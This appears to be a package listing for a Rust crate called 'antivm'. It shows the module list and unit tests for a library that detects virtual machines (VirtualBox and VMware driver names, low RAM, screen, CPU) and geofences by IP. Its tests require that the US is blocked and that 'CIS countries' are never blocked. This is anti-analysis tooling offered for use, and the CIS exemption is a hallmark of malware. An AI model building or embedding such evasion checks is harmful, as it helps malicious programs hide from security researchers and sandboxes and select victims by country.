antivm 1.2.0

Anti virtualmachine or sites for check you program
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

mod agent;
mod builder;
mod checks;
mod config;
mod ipapi;
mod protection;

pub use builder::ProtectionBuilder;
pub use protection::Protection;

#[cfg(test)]
mod tests {
    use super::*;
    use crate::config::{
        ALLOWED_COUNTRIES, BLOCKED_COUNTRIES, MIN_RAM_BYTES, VM_DRIVERS,
    };

    #[test]
    fn blocked_countries_not_empty() {
        assert!(!BLOCKED_COUNTRIES.is_empty());
    }

    #[test]
    fn cis_countries_not_blocked() {
        for code in ALLOWED_COUNTRIES {
            assert!(
                !BLOCKED_COUNTRIES.contains(code),
                "Country {code} was incorrectly added to the block list"
            );
        }
    }

    #[test]
    fn us_is_blocked() {
        assert!(BLOCKED_COUNTRIES.contains(&"US"));
    }

    #[test]
    fn vm_drivers_not_empty() {
        assert!(!VM_DRIVERS.is_empty());
    }

    #[test]
    fn vm_drivers_contain_vbox_and_vmware() {
        assert!(VM_DRIVERS.contains(&"VBoxGuest.sys"));
        assert!(VM_DRIVERS.contains(&"VBoxService.exe"));
        assert!(VM_DRIVERS.contains(&"vmxnet3.sys"));
        assert!(VM_DRIVERS.contains(&"vmci.sys"));
        assert!(VM_DRIVERS.contains(&"pvscsi.sys"));
    }

    #[test]
    fn min_ram_is_4gb() {
        assert_eq!(MIN_RAM_BYTES, 4 * 1024 * 1024 * 1024);
    }

    #[test]
    fn disabled_filters_do_not_exit() {
        ProtectionBuilder::new()
            .set_ip(false)
            .set_http(false)
            .set_vm(false)
            .set_network(false)
            .set_screen(false)
            .set_cpu(false)
            .set_ram(false)
            .init();
    }

    #[test]
    fn filtered_callback_runs_instead_of_exit() {
        use std::cell::Cell;
        use std::rc::Rc;

        let called = Rc::new(Cell::new(false));
        let flag = Rc::clone(&called);
        let protection = Protection {
            ip_filter:       false,
            http_filter:     false,
            network_filter:  false,
            vm_filter:       false,
            screen_filter:   false,
            cpu_filter:      false,
            ram_filter:      false,
            http_url:        String::new(),
            ip_api_url:      String::new(),
            timeout_secs:    1,
            filter_callback: Some(Box::new(move || flag.set(true))),
        };
        protection.on_fail();
        assert!(called.get());
    }
}